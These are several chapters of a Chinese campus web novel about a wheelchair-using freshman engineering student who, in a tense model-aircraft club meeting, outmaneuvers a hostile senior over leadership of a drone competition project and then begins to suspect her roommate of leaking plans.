周予更是越听越觉得不对劲——不为别的,只因为陆子航此时说的这番话和他当初给夏篱那份资料里试图说服她加入的话大差不差…… 陆子航似乎很满意大家伙儿的反应,嘴角隐秘地提了提,继续条理清晰地分析:“今年命题是‘矢量推进与仿生飞控在城市低空物流场景下的应用’,命题很前沿,也很有挑战性。但挑战也意味着机会。” “拿个基础组冠军,顶多在学校新闻稿里占个一条两条,发个千把块奖金。可要是能在高级组里拿个名次,那又是什么分量?学校的资源倾斜、企业的赞助青睐、保研加分……甚至以后简历上都是金光闪闪的一笔!” 他这番话极具蛊惑力,尤其是那些对未来充满憧憬又深感现状窘迫的大二大三成员,不少人眼中的质疑开始动摇,取而代之的是一丝被点燃的渴望和兴奋。 但周予的脸色却并不好看。 “但是……”一个痘痘脸男生还是忍不住小声嘀咕,“技术难度、经费还有学校支持……这些都是实打实的问……” “废话!”陆子航毫不客气地打断他,“要没这些问题还叫什么挑战?至于经费和学校支持……”他看向周予,嘴角勾起一个意味深长的弧度,“这不有我们社长在呢么,周社长既然敢提这个想法,想必心里已经早有谱了吧?比如……某些‘特别’人员的加入,是不是已经让学校那边口风松动了些?” 他目光意有所指地扫过夏篱和唐简。 周予脸色变了变,看着他眉头蹙起,“你有什么话就直说吧。” 陆子航笑了笑,“既然社长这么说那我就不客气了。” “我觉得既然要搞那就别畏首畏尾,我支持高级组项目,但我有个条件。” 来了! 始终没出声也没看陆子航的夏篱和唐简二人对视一眼。 “什么条件?”周予深吸口气,问道。 “很简单,”陆子航环视一周,最后目光落在夏篱身上,带着一丝挑衅,“既然是高级组,玩的就是尖端。矢量推进系统是整个设计的核心难点,也是成败的关键。所以这个核心部分,我要亲自负责。”他顿了顿,又道,“当然,虽然我一个人也不是不行,但秉着男女平等公平公正的态度,也免得被人说成是咱们社里欺压新人,我愿意邀请夏篱……学妹搭档,一起啃下这块硬骨头。” 短暂的安静后,会议室里再次响起一片倒吸冷气的声音。 让陆子航和夏篱搭档?且不说这俩人之前在圈里闹得沸沸扬扬的梁子,主要是在座的各位谁不清楚陆子航这人技术虽然不错,但性格强势霸道,控制欲又极强,最关键的是……脾气特别特别的不好……这两个人一起合作?这不闹呢? 尤其夏篱自入学这前前后后的事显然也能看得出来不是个好惹的主。 “不行!”果然周予几乎脱口而出就给否定了。 在他看来陆子航掌握核心风险太大,而且让夏篱和他搭档?万一项目出问题,责任算谁的? “为什么不行?”陆子航挑眉,语气咄咄逼人,“周社长是觉得我陆子航没这个能力?还是觉得夏篱学妹不敢接这个挑战?”他再次看向夏篱。 陆子航的话语充满了赤裸裸的挑衅和激将,所有人的目光都不约而同地集中到了夏篱身上。 夏篱坐在轮椅上,从始至终表情很淡。 唐简也是,虽然他知道陆子航不怀好意,但他也毫不怀疑夏篱的解决能力。 夏篱这时候才扭头看向陆子航,她轻易看出他眼神里的不怀好意——他提出搭档是假,想掌控核心、压制她甚至把她当枪使才是真。 夏篱觉得此前自己确实是有些小看了陆子航,那次金工课后她假意道歉时则告诫他适可而止别得寸进尺的话,她没想到此时他竟会原封不动地给她扔回来。 他此时的提议,假如她拒绝,不仅显得怯懦,也等于否定了自己加入的价值,或许还会让陆子航以此为理由阻挠项目成立;可如果她答应,那就是主动跳进一个明摆着的陷阱里,与狼共舞。 偌大的空间里,这一刻落针可闻。 就在周予想再次开口打圆场说什么时,夏篱动了。 她脸上并没有任何被激怒的迹象,反而露出一个极其平静,甚至带着点礼貌的微笑。操控着轮椅转了半个身位,目光坦然地对上陆子航充满压迫感的视线。 “对于SAE高级组的项目,社长既然有雄心,我们作为社员,自然应该尽力支持。技术难度高,才有挑战的价值,这点我同意陆学长的看法。” 她的话让众人一愣,陆子航也不由眯了眯眼睛,等着她的“但是”。 夏篱话锋一转,语气依旧平和,却带着一股不容置疑的态度,“不过,关于项目分工,我觉得陆学长的提议,还是有些不太妥当。” 陆子航哂笑,“哦?哪里不太妥当?” “首先,”夏篱条理清晰地说,“SAE项目是一个系统工程,不是哪两个人的角斗场。矢量推进系统固然是核心难点,但机身结构的启动优化、仿生飞控算法的鲁棒性设计、轻量化材料的应用、甚至地面站和遥测系统的稳定性,每一个环节都至关重要,环环相扣。” “将整个项目成败系于某一个子系统,甚至某两个人所谓的‘搭档’名头上,这是对项目本身和其他团队成员的不尊重,也违背了系统工程协作的基本原则。这其中风险显而易见,周社长和学校恐怕都很难接受。” 她的话有理有据,直指陆子航提议的狭隘和风险,不少社员下意识想要点头又硬生生把脖子给梗住了。 陆子航的脸色果然瞬间沉了下来。 而夏篱仿佛没看到似的,不卑不亢继续道,“我的建议是,成立专项项目组,由周社长担任总负责人,统筹全局。项目组下,按照核心子系统设立技术小组:比如矢量推进与动力小组、飞控与导航小组、结构和材料小组,测设和后勤保障小组等等。每个小组设组长,负责该子系统的技术攻关和进度把控。组长人选,由项目组成员根据技术能力、责任心、协作精神等等共同推举产生。” “这样既能发挥每个人的专长,又能保证项目整体的协调性和抗风险能力。” 夏篱的提议一处,所有人不约而同地面面相觑。这显然是一个更成熟、更公平、也更符合大型项目运作模式的方案。而且不能不说,这一看大伙也能看得明白她这其实是有备而来的。 “至于陆学长提到的矢量推进系统,”夏篱的目光再次迎上陆子航仿佛变得更难看的眼神,委婉笑道,“这确实是块硬骨头,也是我最感兴趣的部分之一。”她扭头又看了看周予,满脸真诚,“如果项目组在社长的努力和学校的应允下顺利成立,并且大家愿意信任和给我一个机会,我也愿意承担起这个小组的攻关责任。” “当然,也欢迎陆学长,以及社团里所有对矢量推进有研究、有热情有能力的同学和学长学姐们加入这个小组,我们一起攻克它。” 高下立判啊高下立判! 余下所有人甚至都不敢去看看陆子航此时脸上的表情会有多难看,只有在角落里的陈默嘴角笑意加深,无声地鼓了两下掌。 唐简目不转睛地看着夏篱,眼底深处掠过毫不掩饰的骄傲和赞赏,只觉得她迎风而立,像株披荆斩棘的乔木。 第53章 夏篱的脸上甚至没有什么“胜利”的得意, 只有一种近乎透明的平静,仿佛刚才那番条理清晰、直指核心的发言,不过是陈述了一个再简单不过的事实。 而陆子航的脸色也毫不意外地彻底阴沉下去, 如同暴风雨来临前堆积的铅云。他撑在桌面的手臂上,青筋根根暴起, 指关节捏得发白。被当众如此精准地剖析、反驳,甚至被对方以一种“开放包容”的姿态反将一军,这对他而言,与羞辱无异,这比夏篱当初在活动馆里打他的脸更让他难堪。怒火直冲天灵盖, 烧得他耳膜嗡嗡作响。 此时周予的心脏却在胸腔里狂跳, 几乎要撞破肋骨。担忧和吃惊过后, 是巨大的狂喜和庆幸! 夏篱的这番话, 不仅完美化解了陆子航的挑衅陷阱,更是把他绞尽脑汁想推动却不知如何开口的“项目组”架构,以一种无可辩驳的专业姿态, 清晰地摆在了所有人面前! 他强压下几乎要咧到耳根的冲动,用力清了清嗓子,试图找回作为社长的“责任”, 但他还没来得及开口,就被陆子航猛然站起身子的动作给打断了。 他动作幅度很大, 身下那把廉价的折叠椅腿狠狠刮擦在粗糙的水泥地上,发出“嘎吱——”一声刺耳锐响, 瞬间撕裂这片紧绷的沉默。 “纸上谈兵谁不会?”陆子航的声音像是从牙缝里挤出来的,每个字都裹挟着毫不掩饰的怒火和轻蔑,矛头直指夏篱,“说得天花乱坠, 方案一套一套,听起来是挺像那么回事,可你他妈干过吗?” 唐简瞬间坐直身子,目光淬着冰碴儿朝陆子航射过去,“你嘴巴给我放干净点。” 或许是忌惮着上次金工课后的事,陆子航原本张嘴想骂的冲动又生生给自己压了下去。可又不甘心地冷哼一声,“你是她保镖吗?她自己不会说?刚不还挺能说会道的吗?现在又让你替她发言了?” 夏篱几乎在后来陆子航张口回怼的刹那就一把握住了唐简搭在她轮椅扶手上的手,示意他不要冲动。她看着陆子航,没有动怒,只是微微抬着下巴,那双清亮的眼睛里没有丝毫波澜,只有一种近乎冷漠的专注,仿佛在审视一个无理取闹的样本,“学长,技术讨论,就事论事就好。人身攻击并不能解决任何实际问题,反而显得……有失水准,” 这无声的镇定更是激怒了陆子航。他声音陡然拔高,带着尖锐的嘲讽:“好啊!就事论事是不是?那我问你,你是不是以为那天在活动馆拆个模型就觉得自己能上天了?你写过几行像样的飞控核心代码?你有参加SAE这种国际大型赛的经验吗?就敢在这里大言不惭地揽下矢量推进这种核心工作?!你一个刚入学、连基础组比赛都没摸过门槛的心声,就敢对着整个社团、对着这么多摸爬滚打了两三年的学长学姐指手画脚?谁给你的底气?嗯?” “陆学长,”夏篱声音不大,却异常清晰,像清泉击石,瞬间穿透了陆子航刻意营造的喧嚣氛围,“你问我写过几行代码,我不否认我确实经验尚浅,比不上在座深耕多年的学长学姐。但SAE竞赛,比的从来不是谁写的代码多,而是谁的设计理念更先进,谁的解决方案更创新高效。”她声音平稳而有力,带着一种超越年龄的笃定:“飞控算法,尤其是高级组要求的仿生飞控与负责矢量推进的结合,核心在于数学建模、控制理论的理解和工程实现的优化。我确实没有参与过SAE的正式比赛……毕竟我今年才刚刚成为一名大学生不是吗?”她玩笑后话锋一转,说,“但是,我虽然没有参加过SAE的经验,却独立完成过基于强化学习的四旋翼自主避障路径规划项目,开源社区ID是‘FlyGirl’,核心算法部分代码和测试数据都在GitHub上,欢迎陆学长,也欢迎所有对飞控真正有兴趣的学长学姐们检阅交流和批评指正。” “FlyGirl?”坐在陆子航对面的一个一直皱着眉、看起来颇为严谨的大三男生短暂的愣怔后突然瞪大眼睛半挺着身子隔着中间好几个人看夏篱失声低呼:“那个用Actor-Critic框架解决密集动态障碍环境下实施路径规划的?我看过!”他无意识地握紧旁边另一个男生的胳膊用力晃了两下,仿佛想让对方务必相信自己说的话,“我看过!那篇技术报告分析得很透彻!特别好!”他不由又看向夏篱,“原来是你?” 其实不止是这个男生,不少对技术真正上心的社员,尤其是因为各种原因始终没法真的发挥己长的几个人,看向夏篱的眼神立刻变了,就好像那天的周予一样,从最初的审视怀疑,变成了震惊和浓厚的兴趣。 “FlyGirl”这个名字,在他们这个小圈子里并非默默无闻,那份技术报告展现出的扎实功底和前沿视野,曾引起过小范围的讨论。可再如何,他们也没想过彼时“她”不过还只是个中学生而已。 陆子航的脸此时已经不能用难堪甚至是难看来形容了,简直变成了猪肝色。他万万没想到夏篱会抛出这样一个硬核的“证据。他当然也听过”FlyGirl”,那份报告他也草草翻过,当时只以为是哪个实验室的研究生作品……此刻被当众点破,他精心构筑的“经验论”堡垒瞬间被轰开了一个大口子,看着几人明显犹豫的神色,尴尬和恼羞成怒让他几乎失去理智。 “呵!一个开源玩具项目而已!”陆子航强行压下心中的震动,色厉内荏地反驳,试图找回场子,“纸上模型吹得再漂亮,跟实打实把飞机飞上天、完成比赛任务是一回事吗?矢量推进系统的机械结构、材料应力、热管理、动力耦合!哪一项不是在无数次摔机、炸机里试出来的经验?你一个坐轮椅的,连自己都照顾不好,谈什么带团队攻坚克难?别到时候项目卡在你这里,拖累整个社团!” “陆子航!”周予忍无可忍,拍案厉喝。陆子航最后那句话,已经超出了技术争论的底线,直指夏篱的身体状况,近乎人身侮辱。他脸色铁青,“注意你的言辞!这里是航模社,不是街头巷尾!” “我说错了吗?!”陆子航梗着脖子,破罐子破摔,矛头甚至转向了周予,“周予,你一心要搞高级组,我理解!但你找这么个‘理论天才’来当核心,把整个社团的命运压上,是不是太儿戏了?就因为她能说会道,拆过几个模型?网上发过点东西?那我们这些辛辛苦苦干了几年的人,到头来还不如一个刚来就会耍嘴皮子的?” 这时候没人注意的角落,唐简给坐在对角的陈默使了个眼色,后者隐秘的点了点头。 “行了,”陈默慢悠悠地站起身,晃了晃手中的笔记本,把它推到周予面前,“社长,还有各位,争论经验或者身体状况没有意义。技术问题,用技术说话。这是去年年底,陆子航负责的‘鱼鳍三号’改进型矢量喷口地面台架测试的部分原始数据记录和分析报告。” 他顿了顿,目光扫过瞬间脸色大变的陆子航,继续说道,“报告中声称的推力矢量响应延迟低于0.1秒,最大偏转角度稳定达到30度。但根据……我当时的实测记录和故障后的逆向分析,在连续高负载测试的第七分钟,右侧喷口的伺服机构就出现了明显的卡滞现象,延迟飙升到0.3秒以上,最大偏转角度波动极大,根本无法稳定在25度。第八分十二秒,右侧矢量喷口连接轴过热变形,导致测试被迫中止。这些报告里似乎都‘忽略’了?” 陈默看着陆子航笑了笑,“陆副社长,经验是甩出来的没错,但摔了之后总结经验、解决问题,还是……粉饰太平、掩盖问题,这恐怕才是决定一个团队能不能啃下硬骨头的关键吧?夏篱学妹有没有能力负责矢量推进我不清楚,但至少她敢在所有人面前亮出自己的‘玩具’,敢把代码开源人人检阅。这份坦荡和基于实力的自信,我觉得,比某些靠隐瞒故障数据堆砌出来的‘经验’,更适合啃硬骨头。” “你……陈默!你血口喷人!”陆子航像是被踩了尾巴的猫,瞬间炸毛,“那些数据是意外!是台架的问题!你少——” “台架是我亲自调试校准的,传感器数据流全程记录,原始log文件现在就可以调出来。”陈默打断他,语气依旧没什么起伏,却像一把冰冷的解剖刀,“需要当众验证一下吗?或者,请当时参与测试的小刘和小张来说说,他们清不清楚右侧喷口卡死冒烟的事?” 被点名的两个社员脸色一白,互视一眼后双双躲开大伙儿的视线低下头不敢与任何人对视。 答案不言而喻。 仓库里再次陷入一片死寂,但这次的气氛截然不同。震惊、鄙夷、失望、了然……种种复杂的情绪在社员们脸上交织。陆子航刚才那番义正严辞、以“经验”和“实干”自居的慷慨陈词,此刻听起来无比讽刺可笑,像一层被粗暴撕开的华丽画皮,露出底下不堪的溃烂。 陆子航站在原地,脸色由红转白,再由白转青,却一个字也说不出来。陈默这致命一击,直接将他钉在了“技术造假”的耻辱柱上,他苦心经营的形象和权威,在铁一般的事实面前轰然倒塌。 周予看着笔记本上那触目惊心的实验数据与报告数据的对比,又看看面如死灰的陆子航,心中震颤,捏着笔记本的手指微不可察地微微颤抖着,他深吸口气,慢慢合上笔记本,“好了。闹剧到此为止!” “咳……技术争论可以,人身攻击、无端贬低甚至隐瞒重大技术故障……这绝不是我们航模社该有的风气!夏篱学妹的建议……”周予的声音带着一丝不易察觉的激动颤音,他环视全场,目光在陆子航铁青的脸上短暂停留,又迅速移开,“还是非常具有建设性的!SAE高级组项目,本身确实也是一项庞大复杂的系统工程。当然,子航的能力我自然也是非常认可的,毕竟我们之前也一起拿到了SAE基础组总成绩第五的……好成绩嘛!但夏篱学妹提出的这种层级清晰、责任明确的团队协作模式,也确实最大程度规避了风险,给了所有人公平竞争、发挥所长的机会,所以,我个人认为它确实是目前推进高级组项目最可行也最负责任的方式。” 他语速加快,生怕陆子航再次打断似的:“夏篱学妹愿意主动承担矢量推进系统这个核心难点的攻关责任,这份担当,很值得我们所有人学习。当然,正如学妹所说,项目组的大门向所有有能力、有热情的同学敞开!尤其是核心子系统的小组长人选,必须由大家推举,确保能者居之。” “至于项目的最终成立,”周予挺直了腰板,“我会立刻向院系领导和学校相关部门提交详细的可行性报告和预算申请!” 周予话音刚落,陆子航猛地一脚踹开身边的椅子,发出“哐当”一声巨响。 “行!周予!夏篱!你们牛逼!”陆子航指着他们,声音因为极致的愤怒而扭曲,“这破高级组老子不奉陪了!你们爱怎么折腾怎么折腾!我倒要看看,一个站都站不稳的理论家,带着一群乌合之众,能玩出什么花样?!别到时候连个能飞起来的玩意儿都搞不出来,把航模社最后这点家底都赔光!我们走!” 他低吼一声,头也不回地大步朝着仓库门口走去,背影带着一种穷途末路的狼狈和戾气。西瓜头和几个夏篱压根也都叫不出名字的人左右迟疑一瞬,最后还是匆忙跟上,也走了。 剩下的社员们面面相觑,谁也没想到一次入社介绍会,最终会以如此惨烈的方式收场。 周予疲惫地揉了揉眉心,看着一片混乱后的场面,重重叹了口气。他看向夏篱,眼神复杂,有歉意有感激……但最多的,还是只有夏篱和唐简能看出来的一丝难以掩饰的轻松和愉悦—— 作者有话说:还是想说一下,这篇所有专业性东西虽然有相关专业朋友指导,但我转化能力有限,如果有差错还请各位温柔指正,谢谢。 鞠躬。 第54章 会议室里死寂无声。 半晌周予重重咳了一声, 看着剩下面面相觑的十几个人挤出个笑容:“今天的会……就到这里吧。大家先回去,项目的事,等学校批下来我们再详细讨论分组。” 他声音干涩, 带着劫后余生的疲惫。 人群如蒙大赦,稀稀拉拉地收拾东西, 脚步声和刻意压低的议论嗡嗡作响,很快鱼贯而出。 夏篱低着头没动,似乎在等着什么。唐简看了她一眼,起身去对面跟陈默说话,顺便把想要跟夏篱说什么似的周予也拽了过去。 “篱篱, ”梁清波抱着笔记本从桌边绕过来坐到她旁边, “你……还好吧?” 夏篱抬起眼, 目光平静得像一泓深潭, 将梁清波那点细微的闪烁尽收眼底。 她看她笑了笑,“嗯,怎么了?” “刚才陆学长……说话有点难听, ”梁清波语气里的关切掺着一丝不易察觉的紧张。“我怕你——” “怕我伤心?难过?还是生气?”夏篱又笑了笑。 梁清波看着有些不自在地也笑了笑,“你没事就好。” 夏篱张了张嘴,似乎是想说什么, 但最终还是没开口,只是道, “没事你就先回去吧,我会晚一点。” 梁清波往唐简那边看了看, 点点头站起身,“行,那我先走了。” “嗯。” 夏篱转着轮椅动了动,那边的周予看到还以为她就要走, 嘴里忙不迭叫着“学妹学妹”的跑过来,“等一下等一下!” 梁清波下意识停下脚,“社长有事吗?” “啊?不是,我是叫夏篱学妹。”周予解释,顿了顿,仿佛意会过来什么,惊讶道,“你们之前认识?” “我们是舍友。”夏篱说。 周予目光吃惊地在两人脸上转了转,“舍友?” 他看梁清波,“哎?之前怎么没听你说过。” 梁清波尴尬道,“……我不知道篱篱会来航模社。” 周予看着更吃惊了,“你们在宿舍都不聊天的吗?” “……” “……” “挺好挺好,”周予笑道,“以后在社里你们也能互相照应下嘛,挺好挺好。” 夏篱笑笑没说话,梁清波眼神飘忽不定,含糊地应了声,“嗯……是,那个,没什么事我就先走了,你们好像还有事聊。” “嗯行。”周予说。 梁清波的脚步声在空旷的空间里稍显急促,很快消失在门外,仓库里只剩下周予、夏篱、唐简和陈默四人。 周予搓了搓手,转向夏篱,脸上带着十二分的歉意,“夏篱学妹,刚才……真是对不住。我完全没想到陆子航会疯成这样,当众说那些混账话,更没想到他会拿你的脚伤说事!这……这简直太过分了!你放心,这事我回头一定跟院里反应,他这种行为——” “周社长,”夏篱打断他,“我如愿帮你唱完了这场借刀杀人的戏,这种场面话就省了吧。” 周予脸上的表情瞬间凝固,推眼镜的手僵在半空。 夏篱嘴角勾起一丝极淡的弧度,没有温度,“肃清社团内部阻力,踢走陆子航这颗绊脚石,顺便把我推到风口浪尖替你扛住所有质疑和压力……周社长,这盘高效、省力的棋,我应该没理解错吧?” 周予喉结艰难地上下滚动了一下,镜片后的眼神剧烈闪烁,辩解道,“学妹,你误会了,我——” “各取所需而已。”夏篱再次打断他,语气干脆利落,没有任何拖泥带水,直接撕开了所有虚伪的客套,“你不用道歉,我也不需要。我入社是为了SAE高级组的比赛。你利用我达成你的目的,我利用你提供的平台和资源达成我的目标。很公平。” 周予张了张嘴,所有准备好的、冠冕堂皇的说辞在夏篱这近乎冷酷的直白剖析面前,显得苍白又可笑。他脸上那点残存的“愧疚”迅速褪去,取而代之的是一种被看透的狼狈和一丝隐藏的锐利审视。 “……学妹果然是痛快人。”半晌,周予扯出一个略显僵硬的笑容,不再掩饰,“那合作愉快?” “合作愉快的前提是目标一致,资源到位,还有……”夏篱不为所动,看着他,“真诚。” “事有一二没有三,这是最后一次了,社长。” “嗯嗯,我发誓,发誓!”周予举起一只手。 夏篱说,“你上次也这么发誓过了。” “……这次是真的!真的。”周予道。 夏篱并没再说什么,沉默须臾后,抬头看他,“我还有个问题。” “学妹你说!” “陆子航是怎么知道你要组队参加SAE高级组比赛的?他今天在会上点破高级组的事,显然不是临时起意。关于我们可能的组队构想和初步技术路线,他提得可有点太‘精准’了。你给我的那份资料还给其他人看过吗?” 周予闻言猛地一愣,眉头紧紧锁起,显然之前完全忽略了这个问题。 他下意识地回想:“那份资料……是我自己整理的,主要是为了说服学校和系里争取支持。社里……社里我肯定没给其他人看过。u盘一直在我手里,纸质的资料也就我给你的那一份。” 是啊,所以陆子航从哪知道的? “哎?”周予突然想起什么似的看夏篱,“你跟何清波是室友,会不会是你跟她说了后她给陆子航说的?” 夏篱还没来得及回话,周予紧接着又自言自语摇了摇头道,“不对。刚看你俩的意思好像你们对对方来航模社的事都不大清楚呢,所以这事肯定也没机会说过……那是她看过我给你的资料吗?也不对……主要她没理由啊,她刚来社里没几天,也没看出来她跟陆子航有多熟啊。” 仓库里再次陷入死寂,只有窗外渐起的风声。 “行了,这个问题以后再说吧。”唐简这时候开口,“泄密的事需要暗中留意,现在不是深究的时候,以免打草惊蛇,也避免影响剩下的社员士气。当务之急,是稳住局面,推动项目立项。” “是是,”周予连连应声,“这周末我尽快准备一份项目可行性报告和预算申请,周一就去学校那边交了。” 上次夏篱给他的那份草案基本再添些细节就完全可以用了。 “不止这个,”夏篱深深吐出来一口气,看着周予道,“社长最好也能把今天的会议情况,尤其是陆子航隐瞒技术故障、当众进行人身攻击并带人离社的行为,也写成一份客观的报告,附上陈默学长提供的证据副本,提交给院系领导和学校相关部门。表明一下你整顿社团风气、确保项目透明公正的决心……这也能解释为何我们的项目组需要重组。” “有道理有道理。”这个他还真给忽略了,周予想。 夏篱看向陈默,“我们需要争取真正有实力且志同道合的人。陈默学长,你在社里时间长,了解情况。剩下的社员里,哪些人是真正有技术、有热情踏实肯干的?要麻烦你帮忙整理一个表出来。” “这没问题。”陈默爽快应声。 唐简低头和夏篱对视一眼,看着周予开口,“我觉得我们还是需要尽快开始实质性的技术预研,不能真的等学校批下来再动手。矢量推进和仿生飞控的结合是核心难点,我和阿篱会先牵头,搭建一个初步的仿真验证平台进行概念验证和算法可行性测试,所以需要一些基础的硬件和软件资源……” “这没问题!”周予压抑着心中的激动,忙道,“社里还有几台性能不错的工控机和开发板,方正软件授权也有,我马上把实验室钥匙和权限给你们!还有什么额外需要的,你们列清单直接给我,我一定想办法给搞来!” 计划初定,周予难掩激动地来回踱步,“好!太好了!陈默,名单的事先拜托你!我这就回去整理报告!” 周予锁仓库门时,唐简很自然地推起夏篱的轮椅。陈默走到唐简身边,忽然低声对二人道,“陆子航今天吃了这么大的亏,不会善罢甘休的,以后要小心点。” “嗯,知道。”唐简拍拍陈默肩膀,“一会一起吃饭?” 陈默看了眼夏篱,又看自己室友,笑笑什么话也没说,只是双手揣进兜里转身往另一栋实验楼的小径里走了。 晚饭后回宿舍的路上,夜风微凉。 轮椅平稳地滑行在路灯昏黄的光晕下,唐简推得很稳,速度不快,他能感受得到身前人的沉默里蕴含着无法言喻的复杂情绪。 “在想梁清波?”唐简低声问,声音在寂静的夜里显得格外清晰。 夏篱轻轻“嗯”了一声,“刚才散会的时候我很想问她的,但我张不开口。 “假如是我搞错了呢?万一是因为周予自己都不清楚的情况下不小心让谁看到了那份资料从而给陆子航透露了消息呢?连周予和陈默都说没发现大波和陆子航有什么关系,我作为她的朋友,怎么就可以凭借一个都没看得太清楚的身影就怀疑这件事跟她有关呢?” 唐简慢慢停下脚,从身后走到她身侧蹲下看着脸上满是低落的夏篱,“人心难测,阿篱。利益、畏惧、或是别的什么原因,都可能让人做出违背本心的事,这是客观事实。” “可如果错了呢?”夏篱问。 “错了才是好事啊,”唐简目光柔和下来,“说明你的朋友没有背叛你。” 夏篱低垂着眼睫,看着自己搁在膝盖上的手,指尖无意识地蜷缩了一下。 道理她何尝不明白?可那份因“怀疑”本身而产生的负罪感,沉甸甸地压在心头,让她透不过气。 “可是唐简,”夏篱的声音轻得像叹息,几乎要被风吹散,“怀疑的念头一旦冒出来,就像根刺扎在那儿了。就算最后证明是我错了,那根刺拔掉了,也还是会留下一个洞……一个提醒我‘曾经怀疑过她’的洞。这让我觉得自己……很卑劣。” 唐简摸了摸她头发,“我们不是圣人,无法一眼看透所有。当事情指向不明线索出现,本能地产生疑虑是人之常情。怀疑不是罪过,它只是人心在未知面前最本能的警惕,这并没有错。” 晚风似乎也安静下来。 远处宿舍楼的灯光星星点点,映在夏篱的眼底,闪烁着复杂的光芒。 她看着眼前这个从小一起长大的少年,看着他眼中此时那份超越年龄的通透与坚定,心口那块沉甸甸的石头,仿佛被轻轻撬动了一下。 夏篱没有说话,只是静静地回望着唐简。夜色的凉意似乎也被他话语的温度驱散了几分。怀疑的刺依然存在,但他的话,却像是一把精巧的镊子,让她看到了将它安全拔除、并让伤口真正愈合的可能。 第55章 夏篱回到宿舍, 方茴正敷着面膜瘫在椅子上刷剧,乐苗也戴着耳机和人连麦打游戏,手指在键盘上翻飞。 她扫了一圈, 没看到梁清波。 “回来了?”方茴分神扭头看她眼,随口问道, “迎新会开得怎么样?” “还行。”夏篱把拐杖靠在门边蹦到椅子那坐下。 方茴听出来她声音里的疲惫,把视频按了暂停,摘掉耳机道,“不顺利啊?是不是那个叫陆子航的又找你麻烦?” “谁找麻烦?”乐苗把麦挂脖子上,眼睛没离开电脑, 追问了句, “茴茴你说谁找麻烦嗷?” “就是航模社的那个大背头, 当时社团招新在活动馆给篱篱没事找事那个男的。”方茴扬声道。 乐苗这才注意到夏篱回宿舍了, “嗷”了声,“那个男的真的有病吧?为什么总逮着你不放嗷?篱篱你别理他,别因为他不高兴, 那种人你就是越表现的在意他越来劲,lou男!!” 夏篱看着她眼睛不离电脑,脖子却使劲扭向她, 手指头还乱飞的样子就被逗笑了,说, “我没不高兴,你好好玩你的。” “嗯嗯, 你没不高兴就行,那我不跟你说了,”乐苗飞速把耳机重新戴上,说, “我这把运气超好,赢了就是MVP!” 方茴笑着摇了摇头,看着夏篱坐在椅子上把伤脚架在床边梯上揉着小腿,叹了口气,“你这也真是够倒霉的,爬山看日出本来挺好件事,结果却把脚扭成这样……不过,我看你这脚趾头今天好像消肿了点了哦?” “嗯,后天再去换一次药应该就不用绑这么厚的绷带了。” “太好了,后天周天我也没事,不然我陪你一起去换药吧……反正我现在是咱们宿舍最闲的一个了。” 夏篱看了眼梁清波空荡荡的床铺,“大波今天一直没回来吗?” 方茴也扭头看了眼,“嗯啊,今天也不知道是忙社团还是忙别的……而且你发现没篱篱?” “嗯?” “大波自从国庆假期前几天就有点不对劲了?说是不知道加了个什么社团,天天忙得不见人影,连饭都不常常跟我们一起吃了……嘿,你说她是不是也偷偷谈恋爱了啊?”方茴压低声音,偷瞄了眼还徜徉在游戏里的乐苗,说,“苗苗之前跟那个‘好朋友’暧昧兮兮的时候不就天天各种借口不跟我们一起吃饭吗?” 夏篱抿了抿唇,看着方茴试探着问,“你觉得大波是……谈恋爱了?” 方茴撇撇嘴,“八成是。你不记得了?咱们报道刚认识那天一起吃饭,大波就扬言在大学里一定要谈一场轰轰烈烈的恋爱。” “……” “所以啊,”方茴一副“这小心思怎么能瞒得住我”的模样,看着夏篱挑挑眉,“我猜大波是想给我们‘不鸣则已,一鸣惊人’,等她和那个‘神秘男’确定关系后再想‘语不惊人死不休’地告诉我们,好让我们震惊一百年!” “…………有道理。”夏篱压着心里的不安,看着方茴笑着应了声。 方茴“啧”了声,“我们就等着吧!” 说完她也重新戴上耳机,“我再看会上床睡觉,你也赶紧去洗漱吧。” “嗯。” 周五晚上宿管阿姨一般都会比平时晚一小时锁一楼大门,这天夏篱她们三人都关灯上床好一会后,卡着十二点前,寝室门才被人从外轻轻推开。 “又回来这么晚?”乐苗从床帘底下露出来半个脑袋,看着蹑手蹑脚往床铺走的梁清波悄声问。 梁清波吓了一跳,拍了拍胸口,“你还没睡呀?” “马上睡了,听见你推门声音。” “我有个学姐马上要去做交换生了,我去找她聊天聊得有点忘时间了,”梁清波边说边把手里的东西轻轻放到桌上,拿东西去洗漱,“你快睡吧。” “嗷,你洗完也早点睡。” “嗯。” 寂静的夜里,浴室里的水声有点吵,夏篱虽然很困,却睁着眼睛看着头顶朦胧的天花板看了很久,直到浴室门被人小心地拉开又蹑手蹑脚地上床躺下,她才轻轻翻了个身,面对着墙壁闭上了眼。 周六的清晨,夏篱照例醒得很早。 她刚从床上小心翼翼地下来,方茴就从床边探出来个毛茸茸的脑袋,闭着一只眼睛问她,“你又要去图书馆啊?” 夏篱轻答,“不是。我去实验室。” “实验室?”方茴揉了揉眼睛,精神了点,吃惊道,“你当时说的那个什么‘异型栅栏’的实验室?你这么快就进啦?” “……不是,”夏篱哭笑不得,那地方哪是她那么轻易就能进的,“是航模社的实验室,我去那看看设备,可能有的需要调试一下。” “哦……”方茴虽然并不太懂,还是道,“那你去吧,记得吃早餐。” “嗯,知道了。” 周六清晨,阳光正好。 夏篱到楼下时,唐简已经站在调整好的轮椅边等着她了……手里提着热腾腾的豆浆和煎饼。 “昨晚没睡好。”他见她第一眼先用指背碰了碰她有些发青的黑眼圈。 夏篱一下捂住自己的眼睛仰头“看”唐简,“很明显吗?” 唐简握着她手腕拽开笑了笑,“不明显。” 夏篱被他扶着往轮椅上坐时瞥他一眼鼓了鼓嘴……骗人。 “丑吗?”她拿手机屏幕照了照,揉着眼角问。 唐简把手里的早餐递给她,顺手在她头顶轻轻拍了拍,又笑,“嗯,丑爆了。” “…………”夏篱拿着手机的右手本能地又往后锤他,但不意外又被唐简揩油一把握住了手。 他掌心干燥温热,力道不轻不重,恰好包裹住她微凉的手背,那触感让她心尖一麻,下意识往回抽,却被他用力握了握才松开。 “实验室在工程楼B座307。”唐简嘴角压不住笑,自然地推起轮椅,“先去熟悉熟悉环境,设备清单我昨晚大致列好了。” 夏篱用力咬了口煎饼,“……哦!” 工程楼周末人少,307实验室略显陈旧但空间还挺宽敞的。靠墙几排金属架堆满了两件和半成品,中央几张宽大的工作台还算整洁,上面放着几台看起来性能尚可的工控机和示波器,角落里还放着一台小型的3D打印机。 “条件比想象中好点。”夏篱环顾一周。 唐简找到电源总闸推上,设备指示灯次第亮起。 